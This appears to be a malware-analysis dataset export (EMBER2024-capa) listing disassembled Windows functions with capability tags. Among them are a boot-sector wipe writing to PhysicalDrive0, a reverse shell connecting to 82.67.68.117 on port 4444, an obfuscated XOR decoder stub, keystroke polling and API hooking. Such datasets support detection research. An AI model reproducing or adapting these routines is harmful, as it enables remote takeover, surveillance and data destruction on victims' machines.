joyce8/EMBER2024-capa huggingface dataset:
Function at 0x481c30
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4c9bc0]
test eax, eax
je 0x481c43
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
ret
push esi
push 0x94
call fcn.00444d45
pop ecx
test eax, eax
je 0x481c5e
mov ecx, eax
call fcn.00481761
mov esi, eax
jmp 0x481c60
xor esi, esi
push 0
push 0x25
mov ecx, esi
call fcn.0044fa1d
push 5
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
ret

Function at 0x484718
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4c9bc4]
push esi
push edi
mov edi, ecx
test eax, eax
je 0x484736
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov esi, dword [0x4c9bc4]
jmp 0x484768
push 0x17c
call fcn.00444d45
pop ecx
test eax, eax
je 0x484750
mov ecx, eax
call fcn.004841c5
mov esi, eax
jmp 0x484752
xor esi, esi
push 0
push 0x13
mov ecx, esi
call fcn.0044fa1d
push 5
push dword [esi + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
cmp edi, 0xffffffff
je 0x484775
push edi
mov ecx, esi
call fcn.00482241
pop edi
pop esi
ret

Function at 0x484878
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
push ebx
push esi
mov esi, ecx
push edi
push esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], esi
call dword [sym.imp.USER32.dll_GetParent]
mov ebx, eax
lea eax, [ebp - 0x18]
push eax
mov edx, esi
mov ecx, ebx
call fcn.0044ff9b
mov eax, dword [ebp - 8]
xor edi, edi
cmp eax, edi
jne 0x4848c4
push 0x1fd
lea eax, [ebp - 0x218]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea eax, [ebp - 0x218]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [ebp - 0x14]
push edi
push dword [0x4c71f8]
push edi
push ebx
push ecx
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 0x18]
push ecx
push dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
push dword [ebp - 0x18]
or ecx, 0x50010000
push ecx
push eax
push str.SysLink
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov ebx, eax
mov eax, dword [ebp + 8]
cmp eax, edi
jne 0x484910
push edi
push edi
push 0x31
push dword [ebp - 4]
call esi
push edi
push eax
push 0x30
push ebx
call esi
pop edi
pop esi
mov eax, ebx
pop ebx
leave
ret 8

Function at 0x484bc3
Capabilities:
Hide graphical window

Disassembly:
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetDlgItem]
push 0
movzx esi, dx
push 0
mov ebx, ecx
push esi
push ebx
call edi
xor edx, edx
mov ecx, eax
call fcn.00484878
push esi
push ebx
mov ebp, eax
call edi
test ebp, ebp
je 0x484bf8
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, ebp
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x485a48
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [ecx + 0x24]
lea edx, [eax + 1]
cmp edx, 2
jne 0x485a58
jmp fcn.00484e25
test eax, eax
jne 0x485a5d
inc eax
push 0
push 3
mov dword [ecx + 0x24], eax
pop edx
mov ecx, eax
call fcn.004854c4
ret 4
Function at 0x485fd3
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x4c9c30]
test eax, eax
je 0x485fe6
push dword [eax + 4]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
ret
mov edx, 0x4a81b4
mov ecx, 0x4c9c10
call fcn.0041e478
push 0x268
call fcn.00444d45
pop ecx
test eax, eax
je 0x48600f
mov ecx, eax
call fcn.0048583e
mov ecx, eax
jmp 0x486011
xor ecx, ecx
push esi
push 0
push 0xf8
mov dword [0x4c9c30], ecx
call fcn.0044fa1d
mov eax, dword [0x4c9c30]
push dword [0x4d00e0]
mov esi, dword [eax + 4]
call fcn.0043c769
pop ecx
push eax
push esi
call dword [sym.imp.USER32.dll_SetWindowTextW]
mov eax, dword [0x4c9c30]
push 5
push dword [eax + 4]
call dword [sym.imp.USER32.dll_ShowWindow]
pop esi
ret
Function at 0x48bddb
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x30]
cmp dword [ebx], 0
je 0x48bfb7
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x48bfb7
dec eax
push ebp
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
mov ebp, 0x100c
je 0x48bf24
sub eax, 3
je 0x48bf02
dec eax
je 0x48bee0
dec eax
je 0x48bebe
dec eax
jne 0x48bf45
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 8]
push 2
push 0xffffffffffffffff
push ebp
xor ebx, ebx
push eax
jmp 0x48be57
mov edx, dword [esi + 0x2c]
mov ecx, eax
imul ecx, ecx, 0x2c
cmp dword [ecx + edx + 8], 0
je 0x48be4c
inc ebx
mov ecx, dword [esi + 0x28]
mov ecx, dword [ecx + 8]
push 2
push eax
push ebp
push ecx
call edi
cmp eax, 0xffffffff
jne 0x48be3c
cmp byte [0x4c9228], 0
je 0x48bf45
cmp ebx, 1
mov dword [esp + 0x10], 9
mov dword [esp + 0x24], 0x4c9228
mov dword [esp + 0x14], 0x24
jle 0x48be97
push ebx
push dword [0x4d0300]
call fcn.0043c769
pop ecx
jmp 0x48bea2
push dword [0x4d0304]
call fcn.0043c769
pop ecx
push eax
lea eax, [esp + 0x14]
push eax
call fcn.00450a13
pop ecx
pop ecx
cmp eax, 6
jne 0x48bfb5
jmp 0x48bf45
call fcn.00429550
mov ebx, dword [ebx]
mov al, byte [ebx + 0x46]
and al, 6
cmp al, 4
je 0x48bed7
or byte [ebx + 0x46], 4
jmp 0x48bfb0
and byte [ebx + 0x46], 0xfb
jmp 0x48bfb0
call fcn.00429550
mov ebx, dword [ebx]
mov al, byte [ebx + 0x46]
and al, 0xa
cmp al, 8
je 0x48bef9
or byte [ebx + 0x46], 8
jmp 0x48bfb0
and byte [ebx + 0x46], 0xf7
jmp 0x48bfb0
call fcn.00429550
mov ebx, dword [ebx]
mov al, byte [ebx + 0x46]
and al, 3
cmp al, 1
je 0x48bf1b
or byte [ebx + 0x46], 1
jmp 0x48bfb0
and byte [ebx + 0x46], 0xfe
jmp 0x48bfb0
push 0xa3
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
xor edx, edx
inc edx
mov ecx, ebx
test ax, ax
jge 0x48bf40
call fcn.0047866c
jmp 0x48bf45
call fcn.0048d107
call fcn.00429550
push 2
push 0xffffffffffffffff
jmp 0x48bf9f
mov ecx, dword [esi + 0x2c]
mov eax, ebx
imul eax, eax, 0x2c
mov eax, dword [eax + ecx + 8]
mov ecx, dword [esp + 0x34]
dec ecx
dec ecx
je 0x48bf83
dec ecx
je 0x48bf7b
sub ecx, 4
jne 0x48bf9c
test eax, eax
je 0x48bf9c
mov ecx, dword [esi + 0x30]
push eax
call fcn.00406eea
jmp 0x48bf9c
test eax, eax
je 0x48bf87
and dword [eax + 0x20], 0
test eax, eax
jne 0x48bf93
mov eax, dword [esi + 0x30]
and dword [eax + 0x118], 0
jmp 0x48bf9c
mov ecx, dword [esi + 0x30]
push eax
call fcn.0040789b
push 2
push ebx
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 8]
push ebp
push eax
call edi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x48bf50
call fcn.00429561
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x20
ret 4
Function at 0x48bddf
Capabilities:
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x30]
cmp dword [ebx], 0
je 0x48bfb7
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x48bfb7
dec eax
push ebp
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
mov ebp, 0x100c
je 0x48bf24
sub eax, 3
je 0x48bf02
dec eax
je 0x48bee0
dec eax
je 0x48bebe
dec eax
jne 0x48bf45
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 8]
push 2
push 0xffffffffffffffff
push ebp
xor ebx, ebx
push eax
jmp 0x48be57
mov edx, dword [esi + 0x2c]
mov ecx, eax
imul ecx, ecx, 0x2c
cmp dword [ecx + edx + 8], 0
je 0x48be4c
inc ebx
mov ecx, dword [esi + 0x28]
mov ecx, dword [ecx + 8]
push 2
push eax
push ebp
push ecx
call edi
cmp eax, 0xffffffff
jne 0x48be3c
cmp byte [0x4c9228], 0
je 0x48bf45
cmp ebx, 1
mov dword [esp + 0x10], 9
mov dword [esp + 0x24], 0x4c9228
mov dword [esp + 0x14], 0x24
jle 0x48be97
push ebx
push dword [0x4d0300]
call fcn.0043c769
pop ecx
jmp 0x48bea2
push dword [0x4d0304]
call fcn.0043c769
pop ecx
push eax
lea eax, [esp + 0x14]
push eax
call fcn.00450a13
pop ecx
pop ecx
cmp eax, 6
jne 0x48bfb5
jmp 0x48bf45
call fcn.00429550
mov ebx, dword [ebx]
mov al, byte [ebx + 0x46]
and al, 6
cmp al, 4
je 0x48bed7
or byte [ebx + 0x46], 4
jmp 0x48bfb0
and byte [ebx + 0x46], 0xfb
jmp 0x48bfb0
call fcn.00429550
mov ebx, dword [ebx]
mov al, byte [ebx + 0x46]
and al, 0xa
cmp al, 8
je 0x48bef9
or byte [ebx + 0x46], 8
jmp 0x48bfb0
and byte [ebx + 0x46], 0xf7
jmp 0x48bfb0
call fcn.00429550
mov ebx, dword [ebx]
mov al, byte [ebx + 0x46]
and al, 3
cmp al, 1
je 0x48bf1b
or byte [ebx + 0x46], 1
jmp 0x48bfb0
and byte [ebx + 0x46], 0xfe
jmp 0x48bfb0
push 0xa3
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
xor edx, edx
inc edx
mov ecx, ebx
test ax, ax
jge 0x48bf40
call fcn.0047866c
jmp 0x48bf45
call fcn.0048d107
call fcn.00429550
push 2
push 0xffffffffffffffff
jmp 0x48bf9f
mov ecx, dword [esi + 0x2c]
mov eax, ebx
imul eax, eax, 0x2c
mov eax, dword [eax + ecx + 8]
mov ecx, dword [esp + 0x34]
dec ecx
dec ecx
je 0x48bf83
dec ecx
je 0x48bf7b
sub ecx, 4
jne 0x48bf9c
test eax, eax
je 0x48bf9c
mov ecx, dword [esi + 0x30]
push eax
call fcn.00406eea
jmp 0x48bf9c
test eax, eax
je 0x48bf87
and dword [eax + 0x20], 0
test eax, eax
jne 0x48bf93
mov eax, dword [esi + 0x30]
and dword [eax + 0x118], 0
jmp 0x48bf9c
mov ecx, dword [esi + 0x30]
push eax
call fcn.0040789b
push 2
push ebx
mov eax, dword [esi + 0x28]
mov eax, dword [eax + 8]
push ebp
push eax
call edi
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x48bf50
call fcn.00429561
pop edi
pop ebp
pop esi
pop ebx
add esp, 0x20
ret 4
Function at 0x403706
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov dword [esp + 8], 0x200
mov dword [esp + 4], 0
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sym._memset
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 3
mov dword [esp + 0xc], 0
mov dword [esp + 8], 3
mov dword [esp + 4], 0x40000000
mov dword [esp], str..PhysicalDrive0
mov eax, dword [sym.imp.KERNEL32.dll_CreateFileA]
call eax
sub esp, 0x1c
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x210]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x200
lea eax, [ebp - 0x20c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteFile]
call eax
sub esp, 0x14
jmp 0x403771

Function at 0x403a18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x24
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0x1b
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov ebx, dword [ebp - 0xc]
mov dword [esp], 2
call sym.___acrt_iob_func
mov dword [esp + 8], ebx
mov edx, dword [ebp + 8]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._vfprintf
call sym._abort

Function at 0x4045ec
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, word [eax]
cmp ax, 0x5a4d
je 0x40460b
mov eax, 0
jmp 0x40464f
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 4]
add eax, edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, 0x4550
je 0x40462e
mov eax, 0
jmp 0x40464f
mov eax, dword [ebp - 8]
add eax, 0x18
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
cmp ax, 0x10b
je 0x40464a
mov eax, 0
jmp 0x40464f
mov eax, 1
leave
ret

Function at 0x404651
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp + 8]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], 0
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 0x14]
movzx edx, ax
mov eax, dword [ebp - 0xc]
add eax, edx
add eax, 0x18
mov dword [ebp - 4], eax
jmp 0x4046b0
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0xc]
cmp dword [ebp + 0xc], eax
jb 0x4046a8
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 8]
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x4046a8
mov eax, dword [ebp - 4]
jmp 0x4046c4
add dword [ebp - 8], 1
add dword [ebp - 4], 0x28
mov eax, dword [ebp - 0xc]
movzx eax, word [eax + 6]
movzx eax, ax
cmp dword [ebp - 8], eax
jb 0x404685
mov eax, 0
leave
ret
Function at 0x40ffd9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x40ffe8
pop dword [ebp - 0x24]
mov eax, 0x8f40e820
sub eax, 0x8effe838
sub dword [ebp - 0x24], eax
push 0x40
push 0x1000
push 0x3d334
push 0
mov eax, 0x1d5bc5e1
add eax, 0xe2e68c37
add eax, dword [ebp - 0x24]
call dword [eax]
mov ecx, 0x4572
mov esi, eax
mov edi, 0xd16e20d9
sub edi, 0xd12accd9
add edi, dword [ebp - 0x24]
mov ebx, 0xb2c1af22
add dword [ebp - 0x1c], edi
mov edx, dword [edi]
xor dword [ebp - 0x10], 0x2f3a6344
sub edx, ebx
xor dword [ebp - 0x10], 0x731141fe
mov dword [esi], edx
add dword [ebp - 0x20], 0xeabbe603
add esi, 0x1600c455
add esi, 0xe9ff3baf
add edi, 0x35e076d2
sub edi, 0x35e076ce
loop 0x41003b
add eax, 0x85f89d79
add eax, 0x7a086b22
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x400000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406054], 1
mov dword [0x406050], 1
mov dword [0x40604c], 1
mov dword [0x406044], 1
jne 0x401060
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010c0
mov dword [0x40600c], eax
mov eax, dword [0x406060]
test eax, eax
jne 0x4010b0
mov dword [esp], 1
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40605c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x40301c], 1
je 0x4010f0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 2
call sym.___set_app_type
jmp 0x40107a
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x401108
cmp dx, 0x20b
jne 0x401060
cmp dword [ecx + 0x84], 0xe
jbe 0x401060
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401060
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401060
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401060
Function at 0x4015d0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ecx
sub esp, 0x234
call dbg.__main
lea eax, [ebp - 0x1a0]
mov dword [esp + 4], eax
mov dword [esp], 0x202
mov eax, dword [sym.imp.WS2_32.dll_WSAStartup]
call eax
sub esp, 8
test eax, eax
je 0x40162e
mov dword [esp + 8], 0x1b
mov dword [esp + 4], str._ERROR__WSASturtup_failed._n
mov dword [esp], 2
call sym._write
mov eax, 1
jmp 0x4017a6
mov dword [ebp - 0xc], 0x115c
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 6
mov dword [esp + 4], 1
mov dword [esp], 2
mov eax, dword [sym.imp.WS2_32.dll_WSASocketA]
call eax
sub esp, 0x18
mov dword [ebp - 0x10], eax
mov word [ebp - 0x1b0], 2
mov eax, dword [ebp - 0xc]
movzx eax, ax
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_htons]
call eax
sub esp, 4
mov word [ebp - 0x1ae], ax
mov dword [esp], str.82.67.68.117
mov eax, dword [sym.imp.WS2_32.dll_inet_addr]
call eax
sub esp, 4
mov dword [ebp - 0x1ac], eax
mov dword [esp + 8], 0x10
lea eax, [ebp - 0x1b0]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.WS2_32.dll_connect]
call eax
sub esp, 0xc
test eax, eax
je 0x4016f7
mov dword [esp + 8], 0x18
mov dword [esp + 4], str._ERROR__connect_failed._n
mov dword [esp], 2
call sym._write
mov eax, 1
jmp 0x4017a6
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x1f4]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x1f4], 0x44
mov dword [ebp - 0x1c8], 0x100
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x1b4], eax
lea eax, [ebp - 0x204]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x1f4]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x404086
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
mov eax, 0
mov ecx, dword [ebp - 4]
leave
lea esp, [ecx - 4]
ret

Function at 0x401a20
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x401a80
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x401ba0
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401ab4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401b37
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401aa0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401bc7
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401ba7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401b30
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401b40
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401b30
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x401abe
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x402080
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x4020d5
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x4020ce
test esi, esi
je 0x4020ce
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x4020b0
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x10001000
Capabilities:
Parse pe header

Disassembly:
push 0x24
push 0x10055d90
call fcn.1001ee10
push 0x1c
lea eax, [ebp - 0x34]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
and dword [ebp - 4], 0
mov eax, 0x5a4d
mov edx, dword [ebp - 0x30]
cmp word [edx], ax
jne 0x10001068
mov eax, dword [edx + 0x3c]
add eax, edx
cmp dword [eax], 0x4550
jne 0x10001068
mov ecx, dword [eax + 0xd8]
lea esi, [ecx + edx]
cmp dword [ebp + 0xc], esi
jb 0x10001068
mov eax, dword [eax + 0xdc]
add eax, ecx
add eax, edx
cmp dword [ebp + 0xc], eax
jae 0x10001068
mov dword [ebp - 4], 0xfffffffe
mov al, 1
jmp 0x10001071
mov dword [ebp - 4], 0xfffffffe
xor al, al
call fcn.1001ee56
ret
Function at 0x10001169
Capabilities:
Allocate or change rwx memory
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push ebx
push esi
mov esi, eax
push edi
mov ebx, 0x10000
cmp esi, 0x7ff80000
jbe 0x1000118c
lea eax, [esi - 0x7ff80000]
mov dword [ebp - 4], eax
jmp 0x1000118f
mov dword [ebp - 4], ebx
cmp esi, 0x80000000
jae 0x100011a2
lea eax, [esi + 0x7ff80000]
mov dword [ebp - 8], eax
jmp 0x100011a9
mov dword [ebp - 8], 0xfff80000
mov eax, dword [0x1024bba4]
mov ecx, dword [0x1024bba0]
test eax, eax
jne 0x100011c3
test ecx, ecx
je 0x100011d8
mov eax, ecx
mov dword [0x1024bba4], eax
mov edx, dword [eax + 8]
test edx, edx
je 0x100011d8
cmp edx, dword [ebp - 4]
jb 0x100011d8
cmp edx, dword [ebp - 8]
jbe 0x100012a9
mov eax, ecx
test ecx, ecx
jmp 0x100011fc
test eax, eax
je 0x100011f7
mov ecx, dword [eax + 8]
test ecx, ecx
je 0x100011f7
cmp ecx, dword [ebp - 4]
jb 0x100011f7
cmp ecx, dword [ebp - 8]
jbe 0x100012a9
mov eax, dword [eax + 4]
test eax, eax
mov dword [0x1024bba4], eax
jne 0x100011de
mov eax, esi
and eax, 0xffff
sub esi, eax
mov edi, esi
cmp esi, dword [ebp - 4]
jbe 0x1000133b
lea eax, [edi - 0x70000000]
cmp eax, 0x10000000
ja 0x10001229
mov edi, 0x6fff0000
push 0x1c
lea eax, [ebp - 0x40]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000133b
cmp dword [ebp - 0x30], ebx
jne 0x10001248
cmp dword [ebp - 0x34], ebx
jae 0x1000125b
mov edi, dword [ebp - 0x3c]
add edi, 0xffff0000
cmp edi, dword [ebp - 4]
ja 0x10001217
jmp 0x1000133b
push 0x40
push 0x3000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1024bba4], eax
test eax, eax
je 0x1000133b
mov ecx, dword [0x1024bba0]
xor edx, edx
mov dword [eax + 4], ecx
mov dword [eax], 0x52727464
mov dword [eax + 8], edx
mov dword [0x1024bba0], eax
lea ecx, [eax + 0xffe0]
mov esi, 0x7fd
mov dword [ecx + 0x18], edx
mov edx, ecx
sub ecx, 0x20
dec esi
jne 0x1000129b
mov dword [eax + 8], edx
mov esi, dword [eax + 8]
cmp esi, dword [ebp - 4]
jb 0x10001340
cmp esi, dword [ebp - 8]
ja 0x10001340
mov ecx, dword [esi + 0x18]
push 0x20
push 0xcc
push esi
mov dword [eax + 8], ecx
call fcn.1001f6f0
add esp, 0xc
mov eax, esi
jmp 0x10001342
lea eax, [esi - 0x70000000]
cmp eax, 0x10000000
ja 0x100012ea
mov esi, 0x80010000
push 0x1c
lea eax, [ebp - 0x24]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10001340
cmp dword [ebp - 0x14], ebx
jne 0x10001335
cmp dword [ebp - 0x18], ebx
jb 0x10001335
movzx ecx, si
test ecx, ecx
je 0x10001319
mov eax, ebx
sub eax, ecx
sub dword [ebp - 0x18], eax
add dword [ebp - 0x24], eax
mov esi, dword [ebp - 0x24]
push 0x40
push 0x3000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x1024bba4], eax
test eax, eax
jne 0x10001277
mov esi, dword [ebp - 0x24]
add esi, dword [ebp - 0x18]
cmp esi, dword [ebp - 8]
jb 0x100012d8
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret